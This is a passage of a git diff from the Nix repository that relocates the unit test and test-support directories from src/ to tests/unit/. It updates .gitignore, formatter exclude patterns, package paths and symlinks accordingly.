{src/nix-store-tests => tests/unit/libstore}/data/common-protocol/realisation.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/set.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/store-path.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/string.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/vector.bin (100%) create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/advanced-attributes-defaults.json (100%) create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/advanced-attributes-structured-attrs-defaults.json (100%) create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/advanced-attributes-structured-attrs.json (100%) create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes.drv rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/bad-old-version-dyn-deps.drv (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/bad-version.drv (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/dynDerivationDeps.drv (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/dynDerivationDeps.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFixedFlat.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFixedNAR.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFixedText.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFloating.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-deferred.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-impure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-inputAddressed.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/simple.drv (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/simple.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/machines/bad_format (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/machines/valid (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/nar-info/impure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/nar-info/pure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/empty_impure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/empty_pure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/impure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/pure.json (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.1.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.2.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.3.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.7.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-result-2.2.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-result-2.3.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-result-2.6.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/content-address.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/drv-output.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/handshake-to-client.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/optional-content-address.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/optional-store-path.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/realisation.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/set.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/store-path.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/string.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/unkeyed-valid-path-info-2.3.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/unkeyed-valid-path-info-2.4.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/vector.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/auto.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/auto_param.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_1.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_2.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_shorthand_1.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_shorthand_2.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/ssh.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/unix.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/unix_shorthand.txt (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-mode.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.27.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.28.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.29.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.37.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/client-handshake-info_1_30.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/client-handshake-info_1_33.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/client-handshake-info_1_35.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/content-address.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/derived-path-1.29.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/derived-path-1.30.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/drv-output.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/handshake-to-client.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/keyed-build-result-1.29.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/optional-content-address.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/optional-store-path.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/optional-trusted-flag.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/realisation.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/set.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/store-path.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/string.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/unkeyed-valid-path-info-1.15.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/valid-path-info-1.15.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/valid-path-info-1.16.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/vector.bin (100%) rename {src/nix-store-tests => tests/unit/libstore}/derivation-advanced-attrs.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/derivation.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/derived-path.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/downstream-placeholder.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/machines.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/meson.build (100%) rename {src/nix-store-tests => tests/unit/libstore}/nar-info-disk-cache.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/nar-info.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/nix_api_store.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/outputs-spec.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/package.nix (90%) rename {src/nix-store-tests => tests/unit/libstore}/path-info.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/path.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/references.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/serve-protocol.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/store-reference.cc (100%) rename {src/nix-store-tests => tests/unit/libstore}/worker-protocol.cc (100%) create mode 120000 tests/unit/libutil-support/.version create mode 120000 tests/unit/libutil-support/build-utils-meson rename {src/nix-util-test-support => tests/unit/libutil-support}/meson.build (100%) rename {src/nix-util-test-support => tests/unit/libutil-support}/package.nix (93%) rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/characterization.hh (100%) rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/hash.cc (100%) rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/hash.hh (100%) rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/nix_api_util.hh (100%) rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/string_callback.cc (100%) rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/string_callback.hh (100%) create mode 120000 tests/unit/libutil/.version rename {src/nix-util-tests => tests/unit/libutil}/args.cc (100%) create mode 120000 tests/unit/libutil/build-utils-meson rename {src/nix-util-tests => tests/unit/libutil}/canon-path.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/chunked-vector.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/closure.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/compression.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/config.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/data/git/check-data.sh (100%) rename {src/nix-util-tests => tests/unit/libutil}/data/git/hello-world-blob.bin (100%) rename {src/nix-util-tests => tests/unit/libutil}/data/git/hello-world.bin (100%) rename {src/nix-util-tests => tests/unit/libutil}/data/git/tree.bin (100%) rename {src/nix-util-tests => tests/unit/libutil}/data/git/tree.txt (100%) rename {src/nix-util-tests => tests/unit/libutil}/file-content-address.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/git.cc (99%) rename {src/nix-util-tests => tests/unit/libutil}/hash.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/hilite.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/json-utils.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/logging.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/lru-cache.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/meson.build (100%) rename {src/nix-util-tests => tests/unit/libutil}/nix_api_util.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/package.nix (94%) rename {src/nix-util-tests => tests/unit/libutil}/pool.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/references.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/spawn.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/suggestions.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/tests.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/url.cc (100%) rename {src/nix-util-tests => tests/unit/libutil}/xml-writer.cc (100%) diff --git a/.gitignore b/.gitignore index fdfd744e5..a17b627f4 100644 --- a/.gitignore +++ b/.gitignore @@ -49,22 +49,22 @@ perl/Makefile.config /src/libexpr/parser-tab.output /src/libexpr/nix.tbl /src/libexpr/tests -/src/nix-expr-tests/libnixexpr-tests +/tests/unit/libexpr/libnixexpr-tests # /src/libfetchers -/src/nix-fetchers-tests/libnixfetchers-tests +/tests/unit/libfetchers/libnixfetchers-tests # /src/libflake -/src/nix-flake-tests/libnixflake-tests +/tests/unit/libflake/libnixflake-tests # /src/libstore/ *.gen.* /src/libstore/tests -/src/nix-store-tests/libnixstore-tests +/tests/unit/libstore/libnixstore-tests # /src/libutil/ /src/libutil/tests -/src/nix-util-tests/libnixutil-tests +/tests/unit/libutil/libnixutil-tests /src/nix/nix diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 007ef034f..8f95e788b 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -15,7 +15,7 @@ excludes = [ # We don't want to format test data # ''tests/(?!nixos/).*\.nix'' - ''^src/[^/]*-tests/data/.*$'' + ''^tests/unit/[^/]*/data/.*$'' # Don't format vendored code ''^doc/manual/redirects\.js$'' @@ -429,65 +429,65 @@ ''^tests/nixos/ca-fd-leak/sender\.c'' ''^tests/nixos/ca-fd-leak/smuggler\.c'' ''^tests/nixos/user-sandboxing/attacker\.c'' - ''^src/nix-expr-test-support/tests/libexpr\.hh'' - ''^src/nix-expr-test-support/tests/value/context\.cc'' - ''^src/nix-expr-test-support/tests/value/context\.hh'' - ''^src/nix-expr-tests/derived-path\.cc'' - ''^src/nix-expr-tests/error_traces\.cc'' - ''^src/nix-expr-tests/eval\.cc'' - ''^src/nix-expr-tests/json\.cc'' - ''^src/nix-expr-tests/main\.cc'' - ''^src/nix-expr-tests/primops\.cc'' - ''^src/nix-expr-tests/search-path\.cc'' - ''^src/nix-expr-tests/trivial\.cc'' - ''^src/nix-expr-tests/value/context\.cc'' - ''^src/nix-expr-tests/value/print\.cc'' - ''^src/nix-fetchers-tests/public-key\.cc'' - ''^src/nix-flake-tests/flakeref\.cc'' - ''^src/nix-flake-tests/url-name\.cc'' - ''^src/nix-store-test-support/tests/derived-path\.cc'' - ''^src/nix-store-test-support/tests/derived-path\.hh'' - ''^src/nix-store-test-support/tests/nix_api_store\.hh'' - ''^src/nix-store-test-support/tests/outputs-spec\.cc'' - ''^src/nix-store-test-support/tests/outputs-spec\.hh'' - ''^src/nix-store-test-support/tests/path\.cc'' - ''^src/nix-store-test-support/tests/path\.hh'' - ''^src/nix-store-test-support/tests/protocol\.hh'' - ''^src/nix-store-tests/common-protocol\.cc'' - ''^src/nix-store-tests/content-address\.cc'' - ''^src/nix-store-tests/derivation\.cc'' - ''^src/nix-store-tests/derived-path\.cc'' - ''^src/nix-store-tests/downstream-placeholder\.cc'' - ''^src/nix-store-tests/machines\.cc'' - ''^src/nix-store-tests/nar-info-disk-cache\.cc'' - ''^src/nix-store-tests/nar-info\.cc'' - ''^src/nix-store-tests/outputs-spec\.cc'' - ''^src/nix-store-tests/path-info\.cc'' - ''^src/nix-store-tests/path\.cc'' - ''^src/nix-store-tests/serve-protocol\.cc'' - ''^src/nix-store-tests/worker-protocol\.cc'' - ''^src/nix-util-test-support/tests/characterization\.hh'' - ''^src/nix-util-test-support/tests/hash\.cc'' - ''^src/nix-util-test-support/tests/hash\.hh'' - ''^src/nix-util-tests/args\.cc'' - ''^src/nix-util-tests/canon-path\.cc'' - ''^src/nix-util-tests/chunked-vector\.cc'' - ''^src/nix-util-tests/closure\.cc'' - ''^src/nix-util-tests/compression\.cc'' - ''^src/nix-util-tests/config\.cc'' - ''^src/nix-util-tests/file-content-address\.cc'' - ''^src/nix-util-tests/git\.cc'' - ''^src/nix-util-tests/hash\.cc'' - ''^src/nix-util-tests/hilite\.cc'' - ''^src/nix-util-tests/json-utils\.cc'' - ''^src/nix-util-tests/logging\.cc'' - ''^src/nix-util-tests/lru-cache\.cc'' - ''^src/nix-util-tests/pool\.cc'' - ''^src/nix-util-tests/references\.cc'' - ''^src/nix-util-tests/suggestions\.cc'' - ''^src/nix-util-tests/tests\.cc'' - ''^src/nix-util-tests/url\.cc'' - ''^src/nix-util-tests/xml-writer\.cc'' + ''^tests/unit/libexpr-support/tests/libexpr\.hh'' + ''^tests/unit/libexpr-support/tests/value/context\.cc'' + ''^tests/unit/libexpr-support/tests/value/context\.hh'' + ''^tests/unit/libexpr/derived-path\.cc'' + ''^tests/unit/libexpr/error_traces\.cc'' + ''^tests/unit/libexpr/eval\.cc'' + ''^tests/unit/libexpr/json\.cc'' + ''^tests/unit/libexpr/main\.cc'' + ''^tests/unit/libexpr/primops\.cc'' + ''^tests/unit/libexpr/search-path\.cc'' + ''^tests/unit/libexpr/trivial\.cc'' + ''^tests/unit/libexpr/value/context\.cc'' + ''^tests/unit/libexpr/value/print\.cc'' + ''^tests/unit/libfetchers/public-key\.cc'' + ''^tests/unit/libflake/flakeref\.cc'' + ''^tests/unit/libflake/url-name\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.hh'' + ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' + ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' + ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' + ''^tests/unit/libstore-support/tests/path\.cc'' + ''^tests/unit/libstore-support/tests/path\.hh'' + ''^tests/unit/libstore-support/tests/protocol\.hh'' + ''^tests/unit/libstore/common-protocol\.cc'' + ''^tests/unit/libstore/content-address\.cc'' + ''^tests/unit/libstore/derivation\.cc'' + ''^tests/unit/libstore/derived-path\.cc'' + ''^tests/unit/libstore/downstream-placeholder\.cc'' + ''^tests/unit/libstore/machines\.cc'' + ''^tests/unit/libstore/nar-info-disk-cache\.cc'' + ''^tests/unit/libstore/nar-info\.cc'' + ''^tests/unit/libstore/outputs-spec\.cc'' + ''^tests/unit/libstore/path-info\.cc'' + ''^tests/unit/libstore/path\.cc'' + ''^tests/unit/libstore/serve-protocol\.cc'' + ''^tests/unit/libstore/worker-protocol\.cc'' + ''^tests/unit/libutil-support/tests/characterization\.hh'' + ''^tests/unit/libutil-support/tests/hash\.cc'' + ''^tests/unit/libutil-support/tests/hash\.hh'' + ''^tests/unit/libutil/args\.cc'' + ''^tests/unit/libutil/canon-path\.cc'' + ''^tests/unit/libutil/chunked-vector\.cc'' + ''^tests/unit/libutil/closure\.cc'' + ''^tests/unit/libutil/compression\.cc'' + ''^tests/unit/libutil/config\.cc'' + ''^tests/unit/libutil/file-content-address\.cc'' + ''^tests/unit/libutil/git\.cc'' + ''^tests/unit/libutil/hash\.cc'' + ''^tests/unit/libutil/hilite\.cc'' + ''^tests/unit/libutil/json-utils\.cc'' + ''^tests/unit/libutil/logging\.cc'' + ''^tests/unit/libutil/lru-cache\.cc'' + ''^tests/unit/libutil/pool\.cc'' + ''^tests/unit/libutil/references\.cc'' + ''^tests/unit/libutil/suggestions\.cc'' + ''^tests/unit/libutil/tests\.cc'' + ''^tests/unit/libutil/url\.cc'' + ''^tests/unit/libutil/xml-writer\.cc'' ]; }; shellcheck = { @@ -666,7 +666,7 @@ ''^tests/functional/user-envs\.sh$'' ''^tests/functional/why-depends\.sh$'' ''^tests/functional/zstd\.sh$'' - ''^src/nix-util-tests/data/git/check-data\.sh$'' + ''^tests/unit/libutil/data/git/check-data\.sh$'' ]; }; # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 diff --git a/packaging/components.nix b/packaging/components.nix index db50d6b22..e9e95c028 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -9,24 +9,24 @@ in nix-util = callPackage ../src/libutil/package.nix { }; nix-util-c = callPackage ../src/libutil-c/package.nix { }; - nix-util-test-support = callPackage ../src/nix-util-test-support/package.nix { }; - nix-util-tests = callPackage ../src/nix-util-tests/package.nix { }; + nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { }; + nix-util-tests = callPackage ../tests/unit/libutil/package.nix { }; nix-store = callPackage ../src/libstore/package.nix { }; nix-store-c = callPackage ../src/libstore-c/package.nix { }; - nix-store-test-support = callPackage ../src/nix-store-test-support/package.nix { }; - nix-store-tests = callPackage ../src/nix-store-tests/package.nix { }; + nix-store-test-support = callPackage ../tests/unit/libstore-support/package.nix { }; + nix-store-tests = callPackage ../tests/unit/libstore/package.nix { }; nix-fetchers = callPackage ../src/libfetchers/package.nix { }; - nix-fetchers-tests = callPackage ../src/nix-fetchers-tests/package.nix { }; + nix-fetchers-tests = callPackage ../tests/unit/libfetchers/package.nix { }; nix-expr = callPackage ../src/libexpr/package.nix { }; nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; - nix-expr-test-support = callPackage ../src/nix-expr-test-support/package.nix { }; - nix-expr-tests = callPackage ../src/nix-expr-tests/package.nix { }; + nix-expr-test-support = callPackage ../tests/unit/libexpr-support/package.nix { }; + nix-expr-tests = callPackage ../tests/unit/libexpr/package.nix { }; nix-flake = callPackage ../src/libflake/package.nix { }; - nix-flake-tests = callPackage ../src/nix-flake-tests/package.nix { }; + nix-flake-tests = callPackage ../tests/unit/libflake/package.nix { }; nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; diff --git a/src/nix-expr-test-support b/src/nix-expr-test-support new file mode 120000 index 000000000..427b80dff --- /dev/null +++ b/src/nix-expr-test-support @@ -0,0 +1 @@ +../tests/unit/libexpr-support \ No newline at end of file diff --git a/src/nix-expr-test-support/.version b/src/nix-expr-test-support/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-expr-test-support/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-expr-test-support/build-utils-meson b/src/nix-expr-test-support/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-expr-test-support/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-expr-tests b/src/nix-expr-tests new file mode 120000 index 000000000..3af7110d3 --- /dev/null +++ b/src/nix-expr-tests @@ -0,0 +1 @@ +../tests/unit/libexpr \ No newline at end of file diff --git a/src/nix-expr-tests/.version b/src/nix-expr-tests/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-expr-tests/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-expr-tests/build-utils-meson b/src/nix-expr-tests/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-expr-tests/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-fetchers-tests b/src/nix-fetchers-tests new file mode 120000 index 000000000..80e4b68ae --- /dev/null +++ b/src/nix-fetchers-tests @@ -0,0 +1 @@ +../tests/unit/libfetchers \ No newline at end of file diff --git a/src/nix-fetchers-tests/.version b/src/nix-fetchers-tests/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-fetchers-tests/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-fetchers-tests/build-utils-meson b/src/nix-fetchers-tests/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-fetchers-tests/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-flake-tests b/src/nix-flake-tests new file mode 120000 index 000000000..bb2d49400 --- /dev/null +++ b/src/nix-flake-tests @@ -0,0 +1 @@ +../tests/unit/libflake \ No newline at end of file diff --git a/src/nix-flake-tests/.version b/src/nix-flake-tests/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-flake-tests/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-flake-tests/build-utils-meson b/src/nix-flake-tests/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-flake-tests/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-store-test-support b/src/nix-store-test-support new file mode 120000 index 000000000..af4befd90 --- /dev/null +++ b/src/nix-store-test-support @@ -0,0 +1 @@ +../tests/unit/libstore-support \ No newline at end of file diff --git a/src/nix-store-test-support/.version b/src/nix-store-test-support/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-store-test-support/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-store-test-support/build-utils-meson b/src/nix-store-test-support/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-store-test-support/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-store-tests b/src/nix-store-tests new file mode 120000 index 000000000..fc9b910af --- /dev/null +++ b/src/nix-store-tests @@ -0,0 +1 @@ +../tests/unit/libstore \ No newline at end of file diff --git a/src/nix-store-tests/.version b/src/nix-store-tests/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-store-tests/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-store-tests/build-utils-meson b/src/nix-store-tests/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-store-tests/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv deleted file mode 120000 index f8f30ac32..000000000 --- a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv +++ /dev/null @@ -1 +0,0 @@ -../../../../tests/functional/derivation/advanced-attributes-defaults.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv deleted file mode 120000 index 837e9a0e4..000000000 --- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv +++ /dev/null @@ -1 +0,0 @@ -../../../../tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv deleted file mode 120000 index e08bb5737..000000000 --- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv +++ /dev/null @@ -1 +0,0 @@ -../../../../tests/functional/derivation/advanced-attributes-structured-attrs.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes.drv b/src/nix-store-tests/data/derivation/advanced-attributes.drv deleted file mode 120000 index 1dc394a0a..000000000 --- a/src/nix-store-tests/data/derivation/advanced-attributes.drv +++ /dev/null @@ -1 +0,0 @@ -../../../../tests/functional/derivation/advanced-attributes.drv \ No newline at end of file diff --git a/src/nix-util-test-support b/src/nix-util-test-support new file mode 120000 index 000000000..4b25930eb --- /dev/null +++ b/src/nix-util-test-support @@ -0,0 +1 @@ +../tests/unit/libutil-support \ No newline at end of file diff --git a/src/nix-util-test-support/.version b/src/nix-util-test-support/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-util-test-support/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-util-test-support/build-utils-meson b/src/nix-util-test-support/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-util-test-support/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/src/nix-util-tests b/src/nix-util-tests new file mode 120000 index 000000000..e1138411a --- /dev/null +++ b/src/nix-util-tests @@ -0,0 +1 @@ +../tests/unit/libutil \ No newline at end of file diff --git a/src/nix-util-tests/.version b/src/nix-util-tests/.version deleted file mode 120000 index b7badcd0c..000000000 --- a/src/nix-util-tests/.version +++ /dev/null @@ -1 +0,0 @@ -../../.version \ No newline at end of file diff --git a/src/nix-util-tests/build-utils-meson b/src/nix-util-tests/build-utils-meson deleted file mode 120000 index 5fff21bab..000000000 --- a/src/nix-util-tests/build-utils-meson +++ /dev/null @@ -1 +0,0 @@ -../../build-utils-meson \ No newline at end of file diff --git a/tests/unit/libexpr-support/.version b/tests/unit/libexpr-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libexpr-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libexpr-support/build-utils-meson b/tests/unit/libexpr-support/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libexpr-support/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix-expr-test-support/meson.build b/tests/unit/libexpr-support/meson.build similarity index 100% rename from src/nix-expr-test-support/meson.build rename to tests/unit/libexpr-support/meson.build diff --git a/src/nix-expr-test-support/package.nix b/tests/unit/libexpr-support/package.nix similarity index 93% rename from src/nix-expr-test-support/package.nix rename to tests/unit/libexpr-support/package.nix index aec0e7663..f32cf2615 100644 --- a/src/nix-expr-test-support/package.nix +++ b/tests/unit/libexpr-support/package.nix @@ -29,9 +29,9 @@ mkMesonDerivation (finalAttrs: { workDir = ./.; fileset = fileset.unions [ - ../../build-utils-meson + ../../../build-utils-meson ./build-utils-meson - ../../.version + ../../../.version ./.version ./meson.build # ./meson.options @@ -58,7 +58,7 @@ mkMesonDerivation (finalAttrs: { # Do the meson utils, without modification. '' chmod u+w ./.version - echo ${version} > ../../.version + echo ${version} > ../../../.version ''; mesonFlags = [ diff --git a/src/nix-expr-test-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh similarity index 100% rename from src/nix-expr-test-support/tests/libexpr.hh rename to tests/unit/libexpr-support/tests/libexpr.hh diff --git a/src/nix-expr-test-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh similarity index 100% rename from src/nix-expr-test-support/tests/nix_api_expr.hh rename to tests/unit/libexpr-support/tests/nix_api_expr.hh diff --git a/src/nix-expr-test-support/tests/value/context.cc 